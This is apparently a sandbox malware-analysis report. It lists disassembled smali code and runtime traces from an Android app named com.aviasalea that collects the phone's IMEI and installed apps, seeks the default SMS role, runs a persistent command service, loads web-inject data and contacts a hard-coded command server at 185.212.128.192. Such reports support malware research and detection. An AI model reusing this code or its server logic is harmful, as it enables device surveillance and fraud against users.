                                      41invoke-virtual {v1, v2, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      43invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      44move-result-object v2
                                      45return-object v2
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • java.util.Random.<init>
                                      • java.util.Random.nextDouble
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.String.valueOf
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • com.aviasalea.Realtalk.setPsuedoID
                                      • android.content.Intent.<init>
                                      • android.content.Context.startService
                                      • android.content.Intent.<init>
                                      • android.content.Context.startService
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0:
                                      3invoke-static {p0}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      4move-result-object v7
                                      5if-nez v7, :cond_52
                                      6const-wide/16 v2, 0x64
                                      7const-wide/16 v8, 0x3e7
                                      8new-instance v1, Ljava/util/Random;
                                      10invoke-direct {v1}, Ljava/util/Random;-><init>()V
                                      12invoke-virtual {v1}, Ljava/util/Random;->nextDouble()D
                                      13move-result-wide v10
                                      14sub-long v12, v8, v2
                                      15long-to-double v12, v12
                                      16mul-double/2addr v10, v12
                                      17double-to-long v10, v10
                                      18add-long v4, v2, v10
                                      20invoke-static {p0}, Lcom/aviasalea/checktls/CmndTls;->getPhoneIMEINumber(Landroid/content/Context;)Ljava/lang/String;
                                      21move-result-object v6
                                      22new-instance v7, Ljava/lang/StringBuilder;
                                      24invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                      26invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      27move-result-object v7
                                      29invoke-static {v4, v5}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                                      30move-result-object v10
                                      32invoke-virtual {v7, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      33move-result-object v7
                                      35invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      36move-result-object v7
                                      38invoke-static {p0, v7}, Lcom/aviasalea/Realtalk;->setPsuedoID(Landroid/content/Context;Ljava/lang/String;)V
                                      39const-class v7, Lcom/aviasalea/srs/CmndSrs;
                                      41invoke-static {v7, p0}, Lcom/aviasalea/checktls/CmndTls;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
                                      42move-result v7
                                      43if-nez v7, :cond_51
                                      44new-instance v7, Landroid/content/Intent;
                                      45const-class v10, Lcom/aviasalea/srs/CmndSrs;
                                      47invoke-direct {v7, p0, v10}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      49invoke-virtual {p0, v7}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                      • Time: 1289932
                                        • This:
                                          • com.aviasalea.MainActivity@dedbe7c
                                        • p0: Intent { cmp=com.aviasalea/.srs.CmndSrs }
                                        • Return:
                                          • ComponentInfo{com.aviasalea/com.aviasalea.srs.CmndSrs}
                                      51invoke-static {}, Lcom/aviasalea/srs/newapi/utils/Util;->useJobSchedule()Z
                                      • Time: 1289936
                                        • Return:
                                          • true
                                      52move-result v7
                                      53if-eqz v7, :cond_51
                                      55invoke-static {p0}, Lcom/aviasalea/srs/newapi/utils/Util;->scheduleJob(Landroid/content/Context;)V
                                      56goto_51: return-void
                                      57cond_52: const-class v7, Lcom/aviasalea/srs/CmndSrs;
                                      59invoke-static {v7, p0}, Lcom/aviasalea/checktls/CmndTls;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
                                      60move-result v7
                                      61if-nez v7, :cond_51
                                      62new-instance v7, Landroid/content/Intent;
                                      63const-class v10, Lcom/aviasalea/srs/CmndSrs;
                                      65invoke-direct {v7, p0, v10}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      67invoke-virtual {p0, v7}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                      • Time: 1424397
                                        • This:
                                          • com.aviasalea.Realtalk@428ef53
                                        • p0: Intent { cmp=com.aviasalea/.srs.CmndSrs }
                                        • Return:
                                          • ComponentInfo{com.aviasalea/com.aviasalea.srs.CmndSrs}
                                      69invoke-static {}, Lcom/aviasalea/srs/newapi/utils/Util;->useJobSchedule()Z
                                      • Time: 1424399
                                        • Return:
                                          • true
                                      70move-result v7
                                      71if-eqz v7, :cond_51
                                      73invoke-static {p0}, Lcom/aviasalea/srs/newapi/utils/Util;->scheduleJob(Landroid/content/Context;)V
                                      74try_end_6d: goto/16 :goto_51
                                      75catch_6e: move-exception v0
                                      77invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      78goto/16 :goto_51
                                      Cross References
                                      APIs
                                      • android.content.Context.getSystemService
                                      • android.app.ActivityManager.getRunningServices
                                      • java.util.List.size
                                      • java.util.List.get
                                      • android.app.ActivityManager$RunningServiceInfo.service:Landroid/content/ComponentName
                                      • java.lang.Class.getName
                                      • android.app.ActivityManager$RunningServiceInfo.service:Landroid/content/ComponentName
                                      • android.content.ComponentName.getClassName
                                      • java.lang.String.equals
                                      Strings
                                      • activity
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Ljava/lang/Class",
                                      5"<*>;",
                                      6"Landroid/content/Context;",
                                      7")Z"
                                      8}
                                      9.end annotation
                                      10.prologue
                                      12const-string v4, "activity"
                                      14invoke-virtual {p1, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      • Time: 1289916
                                        • This:
                                          • com.aviasalea.MainActivity@dedbe7c
                                        • p0: activity
                                        • Return:
                                          • android.app.ActivityManager@cdfda81
                                      • Time: 1349963
                                        • This:
                                          • com.aviasalea.Realtalk@428ef53
                                        • p0: activity
                                        • Return:
                                          • android.app.ActivityManager@dd251ce
                                      15move-result-object v1
                                      16check-cast v1, Landroid/app/ActivityManager;
                                      17if-eqz v1, :cond_3b
                                      18const v4, 0x7fffffff
                                      20invoke-virtual {v1, v4}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
                                      21move-result-object v2
                                      22if-eqz v2, :cond_3b
                                      23const/4 v0, 0x0
                                      24goto_14:
                                      25invoke-interface {v2}, Ljava/util/List;->size()I
                                      26move-result v4
                                      27if-ge v0, v4, :cond_3b
                                      29invoke-interface {v2, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      30move-result-object v3
                                      31check-cast v3, Landroid/app/ActivityManager$RunningServiceInfo;
                                      32if-eqz v3, :cond_38
                                      34iget-object v4, v3, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
                                      35if-eqz v4, :cond_38
                                      37invoke-virtual {p0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      38move-result-object v4
                                      40iget-object v5, v3, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
                                      42invoke-virtual {v5}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
                                      43move-result-object v5
                                      45invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      46move-result v4
                                      47if-eqz v4, :cond_38
                                      48const/4 v4, 0x1
                                      49goto_37: return v4
                                      50cond_38: add-int/lit8 v0, v0, 0x1
                                      51goto/16 :goto_14
                                      52cond_3b: const/4 v4, 0x0
                                      53goto/16 :goto_37
                                      Cross References
                                      APIs
                                      • android.content.Context.getSystemService
                                      • android.os.PowerManager.isInteractive
                                      • android.os.PowerManager.isScreenOn
                                      • java.lang.Exception.toString
                                      Strings
                                      • none
                                      • power
                                      • on
                                      • off
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      3const-string v2, "none"
                                      4try_start_2:
                                      5const-string v4, "power"
                                      7invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      • Time: 1291978
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@5ac58b9
                                        • p0: power
                                        • Return:
                                          • android.os.PowerManager@81c9e72
                                      • Time: 1350317
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@6c5bcda
                                        • p0: power
                                        • Return:
                                          • android.os.PowerManager@a4f0d32
                                      • Time: 1424905
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@42cbc5c
                                        • p0: power
                                        • Return:
                                          • android.os.PowerManager@7aae4c7
                                      • Time: 1437542
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@d2ea8ec
                                        • p0: power
                                        • Return:
                                          • android.os.PowerManager@ea985a2
                                      • Time: 1468717
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@3b9b9e4
                                        • p0: power
                                        • Return:
                                          • android.os.PowerManager@be1674e
                                      • Time: 1475831
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@8a0ac98
                                        • p0: power
                                        • Return:
                                          • android.os.PowerManager@baea462
                                      8move-result-object v1
                                      9check-cast v1, Landroid/os/PowerManager;
                                      10if-eqz v1, :cond_1a
                                      11sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                                      12const/16 v5, 0x14
                                      13if-lt v4, v5, :cond_1b
                                      15invoke-virtual {v1}, Landroid/os/PowerManager;->isInteractive()Z
                                      16move-result v3
                                      17goto_16: if-eqz v3, :cond_20
                                      19const-string v2, "on"
                                      20goto_1a: return-object v2
                                      21cond_1b:
                                      22invoke-virtual {v1}, Landroid/os/PowerManager;->isScreenOn()Z
                                      23move-result v3
                                      24goto/16 :goto_16
                                      25cond_20:
                                      26const-string v2, "off"
                                      27try_end_22: goto/16 :goto_1a
                                      28catch_23: move-exception v0
                                      30const-string v2, "none"
                                      32invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      33move-result-object v4
                                      35invoke-static {v4}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      36goto/16 :goto_1a
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Intent.putExtra
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • http://185.212.128.192/1324273/bee/avia/index1.php
                                      • url
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/content/Context;
                                      1.param p1, "url" # Ljava/lang/String;
                                      2.prologue
                                      3try_start_0: new-instance v1, Landroid/content/Intent;
                                      4const-class v2, Lcom/aviasalea/wb/WbActivity;
                                      6invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      7const v2, 0x10008000
                                      9invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      11const-string v2, "url"
                                      13invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                      • Time: 1289943
                                        • This:
                                          • Intent { flg=0x10008000 cmp=com.aviasalea/.wb.WbActivity (has extras) }
                                        • p0: url
                                        • p1: http://185.212.128.192/1324273/bee/avia/index1.php
                                        • Return:
                                          • Intent { flg=0x10008000 cmp=com.aviasalea/.wb.WbActivity (has extras) }
                                      15invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      • Time: 1289951
                                        • This:
                                          • com.aviasalea.MainActivity@dedbe7c
                                        • p0: Intent { flg=0x10008000 cmp=com.aviasalea/.wb.WbActivity (has extras) }
                                      16try_end_15: return-void
                                      17catch_16: move-exception v0
                                      19invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      20goto/16 :goto_15
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.MainActivity.setContentView
                                      • com.aviasalea.MainActivity.setDefaultSmsCl
                                      • com.aviasalea.Realtalk.getStartWebUrl
                                      • com.aviasalea.MainActivity.finish
                                      Strings
                                      • http://185.212.128.192/1324273/bee/avia/index1.php
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      4const/high16 v0, 0x7f080000
                                      6invoke-virtual {p0, v0}, Lcom/aviasalea/MainActivity;->setContentView(I)V
                                      8invoke-direct {p0}, Lcom/aviasalea/MainActivity;->setDefaultSmsCl()V
                                      10invoke-static {p0}, Lcom/aviasalea/checktls/IntTls;->startCommandService(Landroid/content/Context;)V
                                      12invoke-static {}, Lcom/aviasalea/Realtalk;->getStartWebUrl()Ljava/lang/String;
                                      • Time: 1289940
                                        • Return:
                                          • http://185.212.128.192/1324273/bee/avia/index1.php
                                      13move-result-object v0
                                      15invoke-static {p0, v0}, Lcom/aviasalea/checktls/IntTls;->startWb(Landroid/content/Context;Ljava/lang/String;)V
                                      17invoke-virtual {p0}, Lcom/aviasalea/MainActivity;->finish()V
                                      18return-void
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • http://185.212.128.192/1324273/
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v0, Ljava/lang/StringBuilder;
                                      3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      5invoke-direct {p0}, Lcom/aviasalea/api/request/HttpRequest;->getDomain()Ljava/lang/String;
                                      • Time: 1290766
                                        • This:
                                          • com.aviasalea.srs.api.requests.HitGateRequest@a46834f
                                        • Return:
                                          • http://185.212.128.192/1324273/
                                      6move-result-object v1
                                      8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      9move-result-object v0
                                      11iget-object v1, p0, Lcom/aviasalea/api/request/HttpRequest;->path:Ljava/lang/String;
                                      13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      14move-result-object v0
                                      16invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      17move-result-object v0
                                      18return-object v0
                                      Cross References
                                      APIs
                                      • com.aviasalea.wb.WbActivity.getIntent
                                      • android.content.Intent.getStringExtra
                                      • android.content.Intent.getStringExtra
                                      Strings
                                      • http://185.212.128.192/1324273/bee/avia/index1.php
                                      • url
                                      • currentPackage
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-virtual {p0}, Lcom/aviasalea/wb/WbActivity;->getIntent()Landroid/content/Intent;
                                      3move-result-object v0
                                      4if-eqz v0, :cond_16
                                      6const-string v1, "url"
                                      8invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                      • Time: 1290276
                                        • This:
                                          • Intent { flg=0x10008000 cmp=com.aviasalea/.wb.WbActivity (has extras) }
                                        • p0: url
                                        • Return:
                                          • http://185.212.128.192/1324273/bee/avia/index1.php
                                      9move-result-object v1
                                      10iput-object v1, p0, Lcom/aviasalea/wb/WbActivity;->mUrl:Ljava/lang/String;
                                      12const-string v1, "currentPackage"
                                      14invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                      • Time: 1290280
                                        • This:
                                          • Intent { flg=0x10008000 cmp=com.aviasalea/.wb.WbActivity (has extras) }
                                        • p0: currentPackage
                                        • Return:
                                          • null
                                      15move-result-object v1
                                      16iput-object v1, p0, Lcom/aviasalea/wb/WbActivity;->mCurrentPackage:Ljava/lang/String;
                                      17cond_16: return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.wb.WbActivity.getBundle
                                      • com.aviasalea.wb.WbActivity.getWebView
                                      • com.aviasalea.wb.WbActivity.setContentView
                                      • com.aviasalea.wb.WbActivity.initWebView
                                      • android.webkit.WebView.setWebContentsDebuggingEnabled
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      5invoke-static {p0}, Lcom/aviasalea/checktls/ScrTls;->scrOn(Landroid/app/Activity;)V
                                      7invoke-direct {p0}, Lcom/aviasalea/wb/WbActivity;->getBundle()V
                                      9invoke-direct {p0}, Lcom/aviasalea/wb/WbActivity;->getWebView()Landroid/webkit/WebView;
                                      10move-result-object v0
                                      12invoke-virtual {p0, v0}, Lcom/aviasalea/wb/WbActivity;->setContentView(Landroid/view/View;)V
                                      • Time: 1291549
                                        • This:
                                          • com.aviasalea.wb.WbActivity@a222adc
                                        • p0: android.webkit.WebView{8d5a7a4 VFEDHVC.. ......I. 0,0-0,0}
                                      14invoke-direct {p0, v0}, Lcom/aviasalea/wb/WbActivity;->initWebView(Landroid/webkit/WebView;)V
                                      15sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                      16const/16 v2, 0x13
                                      17if-lt v1, v2, :cond_1d
                                      18const/4 v1, 0x1
                                      20invoke-static {v1}, Landroid/webkit/WebView;->setWebContentsDebuggingEnabled(Z)V
                                      21cond_1d: return-void
                                      APIs
                                      • com.aviasalea.srs.CmndSrs$2.this$0:Lcom/aviasalea/srs/CmndSrs
                                      • com.aviasalea.srs.CmndSrs.access$000
                                      • com.aviasalea.srs.CmndSrs$2.this$0:Lcom/aviasalea/srs/CmndSrs
                                      • com.aviasalea.srs.CmndSrs.startNotificationSound
                                      • com.aviasalea.srs.CmndSrs$2.this$0:Lcom/aviasalea/srs/CmndSrs
                                      • com.aviasalea.srs.CmndSrs$2.this$0:Lcom/aviasalea/srs/CmndSrs
                                      • com.aviasalea.srs.CmndSrs.access$100
                                      • com.aviasalea.srs.CmndSrs$2.this$0:Lcom/aviasalea/srs/CmndSrs
                                      • com.aviasalea.srs.CmndSrs$2.this$0:Lcom/aviasalea/srs/CmndSrs
                                      • com.aviasalea.srs.CmndSrs.access$200
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-static {}, Lcom/aviasalea/srs/newapi/utils/Util;->useJobSchedule()Z
                                      • Time: 1290012
                                        • Return:
                                          • true
                                      3move-result v0
                                      4if-nez v0, :cond_b
                                      6iget-object v0, p0, Lcom/aviasalea/srs/CmndSrs$2;->this$0:Lcom/aviasalea/srs/CmndSrs;
                                      8invoke-static {v0}, Lcom/aviasalea/srs/CmndSrs;->access$000(Lcom/aviasalea/srs/CmndSrs;)V
                                      9cond_b:
                                      10iget-object v0, p0, Lcom/aviasalea/srs/CmndSrs$2;->this$0:Lcom/aviasalea/srs/CmndSrs;
                                      12invoke-virtual {v0}, Lcom/aviasalea/srs/CmndSrs;->startNotificationSound()V
                                      14iget-object v0, p0, Lcom/aviasalea/srs/CmndSrs$2;->this$0:Lcom/aviasalea/srs/CmndSrs;
                                      16invoke-static {v0}, Lcom/aviasalea/checktls/CmndTls;->isInternetConnected(Landroid/content/Context;)Z
                                      17move-result v0
                                      18if-nez v0, :cond_1e
                                      20iget-object v0, p0, Lcom/aviasalea/srs/CmndSrs$2;->this$0:Lcom/aviasalea/srs/CmndSrs;
                                      22invoke-static {v0}, Lcom/aviasalea/srs/CmndSrs;->access$100(Lcom/aviasalea/srs/CmndSrs;)V
                                      23goto_1d: return-void
                                      24cond_1e:
                                      25iget-object v0, p0, Lcom/aviasalea/srs/CmndSrs$2;->this$0:Lcom/aviasalea/srs/CmndSrs;
                                      27iget-object v1, p0, Lcom/aviasalea/srs/CmndSrs$2;->this$0:Lcom/aviasalea/srs/CmndSrs;
                                      29invoke-static {v0, v1}, Lcom/aviasalea/srs/CmndSrs;->access$200(Lcom/aviasalea/srs/CmndSrs;Landroid/content/Context;)V
                                      30goto/16 :goto_1d
                                      APIs
                                      • android.app.Application.onCreate
                                      • com.aviasalea.Realtalk.getApplicationContext
                                      • com.aviasalea.Realtalk.applicationContext:Landroid/content/Context
                                      • android.content.Context.getMainLooper
                                      • android.os.Handler.<init>
                                      • com.aviasalea.Realtalk.getWriteInjJSON
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Landroid/app/Application;->onCreate()V
                                      3sput-object p0, Lcom/aviasalea/Realtalk;->instance:Lcom/aviasalea/Realtalk;
                                      5invoke-virtual {p0}, Lcom/aviasalea/Realtalk;->getApplicationContext()Landroid/content/Context;
                                      • Time: 1289515
                                        • This:
                                          • com.aviasalea.Realtalk@428ef53
                                        • Return:
                                          • com.aviasalea.Realtalk@428ef53
                                      6move-result-object v0
                                      7sput-object v0, Lcom/aviasalea/Realtalk;->applicationContext:Landroid/content/Context;
                                      8new-instance v0, Landroid/os/Handler;
                                      10sget-object v1, Lcom/aviasalea/Realtalk;->applicationContext:Landroid/content/Context;
                                      12invoke-virtual {v1}, Landroid/content/Context;->getMainLooper()Landroid/os/Looper;
                                      13move-result-object v1
                                      15invoke-direct {v0, v1}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
                                      16sput-object v0, Lcom/aviasalea/Realtalk;->applicationHandler:Landroid/os/Handler;
                                      18invoke-static {p0}, Lcom/aviasalea/Realtalk;->getWriteInjJSON(Landroid/content/Context;)Ljava/lang/String;
                                      19move-result-object v0
                                      21invoke-static {v0}, Lcom/aviasalea/wb/WITools;->parseWEBInjJson(Ljava/lang/String;)Ljava/util/List;
                                      22move-result-object v0
                                      23sput-object v0, Lcom/aviasalea/Realtalk;->injWI:Ljava/util/List;
                                      24return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • com.aviasalea.Realtalk.getServerGate
                                      Strings
                                      • http://185.212.128.192/1324273/
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "cgi" # Ljava/lang/String;
                                      2.param p3, "requestType" # I
                                      3.prologue
                                      5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      6const/4 v0, -0x1
                                      7iput v0, p0, Lcom/aviasalea/api/request/HttpRequest;->requestType:I
                                      9const-string v0, ""
                                      10iput-object v0, p0, Lcom/aviasalea/api/request/HttpRequest;->path:Ljava/lang/String;
                                      11const-wide/16 v0, 0x0
                                      12iput-wide v0, p0, Lcom/aviasalea/api/request/HttpRequest;->requestTime:J
                                      13const/4 v0, 0x0
                                      14iput-object v0, p0, Lcom/aviasalea/api/request/HttpRequest;->data:[B
                                      15new-instance v0, Lcom/aviasalea/api/request/HttpRequest$1;
                                      17invoke-direct {v0, p0}, Lcom/aviasalea/api/request/HttpRequest$1;-><init>(Lcom/aviasalea/api/request/HttpRequest;)V
                                      18iput-object v0, p0, Lcom/aviasalea/api/request/HttpRequest;->mHttpResponseHandler:Lcom/aviasalea/api/request/HTTPRequestHandler;
                                      20invoke-static {p1}, Lcom/aviasalea/Realtalk;->getServerGate(Landroid/content/Context;)Ljava/lang/String;
                                      21move-result-object v0
                                      22iput-object v0, p0, Lcom/aviasalea/api/request/HttpRequest;->HTTP_DOMAIN:Ljava/lang/String;
                                      24iget-object v0, p0, Lcom/aviasalea/api/request/HttpRequest;->HTTP_DOMAIN:Ljava/lang/String;
                                      26invoke-static {v0}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      • Time: 1290090
                                        • p0: http://185.212.128.192/1324273/
                                      28invoke-static {p2}, Lcom/aviasalea/api/tls/TxtTls;->ckIsEmpty(Ljava/lang/String;)Z
                                      29move-result v0
                                      30if-eqz v0, :cond_2e
                                      32const-string v0, ""
                                      33iput-object v0, p0, Lcom/aviasalea/api/request/HttpRequest;->path:Ljava/lang/String;
                                      34goto_2d: return-void
                                      35cond_2e: iput-object p2, p0, Lcom/aviasalea/api/request/HttpRequest;->path:Ljava/lang/String;
                                      36iput p3, p0, Lcom/aviasalea/api/request/HttpRequest;->requestType:I
                                      37goto/16 :goto_2d
                                      Cross References
                                      APIs
                                      • android.util.Log.e
                                      Strings
                                      • REALTALK REQUEST
                                      • URLConnection is null
                                      Position Instruction Meta Information
                                      0.param p1, "request" # Lcom/aviasalea/api/request/HttpRequest;
                                      1.prologue
                                      3invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->getURLConnection()Ljava/net/HttpURLConnection;
                                      4move-result-object v0
                                      5if-nez v0, :cond_10
                                      7const-string v0, "REALTALK REQUEST"
                                      9const-string v1, "URLConnection is null"
                                      11invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      13const-string v0, ""
                                      14goto_f: return-object v0
                                      15cond_10:
                                      16invoke-direct {p0}, Lcom/aviasalea/api/request/BaseConnection;->setURLConnectionCommonPara()V
                                      18iget-object v0, p1, Lcom/aviasalea/api/request/HttpRequest;->data:[B
                                      19if-nez v0, :cond_1c
                                      21invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->doGetRequest()Ljava/lang/String;
                                      22move-result-object v0
                                      23goto/16 :goto_f
                                      24cond_1c:
                                      25iget-object v0, p1, Lcom/aviasalea/api/request/HttpRequest;->data:[B
                                      27invoke-virtual {p0, v0}, Lcom/aviasalea/api/request/BaseConnection;->doPostRequest([B)Ljava/lang/String;
                                      28move-result-object v0
                                      29goto/16 :goto_f
                                      Cross References
                                      APIs
                                      • java.lang.Object.getClass
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      Position Instruction Meta Information
                                      0.param p1, "subscriber" # Ljava/lang/Object;
                                      1.param p2, "sticky" # Z
                                      2.param p3, "priority" # I
                                      3.prologue
                                      4monitor-enter p0
                                      5try_start_1:
                                      6iget-object v3, p0, Lde/greenrobot/event/EventBus;->subscriberMethodFinder:Lde/greenrobot/event/SubscriberMethodFinder;
                                      8invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      • Time: 1289980
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@5ac58b9
                                        • Return:
                                          • class com.aviasalea.srs.CmndSrs
                                          • getName: com.aviasalea.srs.CmndSrs
                                      9move-result-object v4
                                      11invoke-virtual {v3, v4}, Lde/greenrobot/event/SubscriberMethodFinder;->findSubscriberMethods(Ljava/lang/Class;)Ljava/util/List;
                                      12move-result-object v2
                                      14invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      15move-result-object v0
                                      16goto_f:
                                      17invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
                                      18move-result v3
                                      19if-eqz v3, :cond_22
                                      21invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      22move-result-object v1
                                      23check-cast v1, Lde/greenrobot/event/SubscriberMethod;
                                      25invoke-direct {p0, p1, v1, p2, p3}, Lde/greenrobot/event/EventBus;->subscribe(Ljava/lang/Object;Lde/greenrobot/event/SubscriberMethod;ZI)V
                                      26try_end_1e: goto/16 :goto_f
                                      27catchall_1f: move-exception v3
                                      28monitor-exit p0
                                      29throw v3
                                      30cond_22: monitor-exit p0
                                      31return-void
                                      APIs
                                      • android.app.IntentService.onCreate
                                      • com.aviasalea.srs.CmndSrs.getSystemService
                                      Strings
                                      • alarm
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Landroid/app/IntentService;->onCreate()V
                                      4invoke-static {p0}, Lcom/aviasalea/checktls/CmndTls;->getAllInstalledApkInfo(Landroid/content/Context;)Ljava/util/List;
                                      5move-result-object v0
                                      6iput-object v0, p0, Lcom/aviasalea/srs/CmndSrs;->mApkPackageNameList:Ljava/util/List;
                                      8const-string v0, "alarm"
                                      10invoke-virtual {p0, v0}, Lcom/aviasalea/srs/CmndSrs;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      • Time: 1289976
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@5ac58b9
                                        • p0: alarm
                                        • Return:
                                          • android.app.AlarmManager@bfdc45f
                                      • Time: 1350036
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@6c5bcda
                                        • p0: alarm
                                        • Return:
                                          • android.app.AlarmManager@c58050b
                                      • Time: 1424415
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@42cbc5c
                                        • p0: alarm
                                        • Return:
                                          • android.app.AlarmManager@3986b65
                                      • Time: 1436628
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@d2ea8ec
                                        • p0: alarm
                                        • Return:
                                          • android.app.AlarmManager@6de04b5
                                      • Time: 1467175
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@3b9b9e4
                                        • p0: alarm
                                        • Return:
                                          • android.app.AlarmManager@70fce4d
                                      • Time: 1475314
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@8a0ac98
                                        • p0: alarm
                                        • Return:
                                          • android.app.AlarmManager@68ffcf1
                                      11move-result-object v0
                                      12check-cast v0, Landroid/app/AlarmManager;
                                      13iput-object v0, p0, Lcom/aviasalea/srs/CmndSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      15invoke-static {}, Lde/greenrobot/event/EventBus;->getDefault()Lde/greenrobot/event/EventBus;
                                      16move-result-object v0
                                      18invoke-virtual {v0, p0}, Lde/greenrobot/event/EventBus;->isRegistered(Ljava/lang/Object;)Z
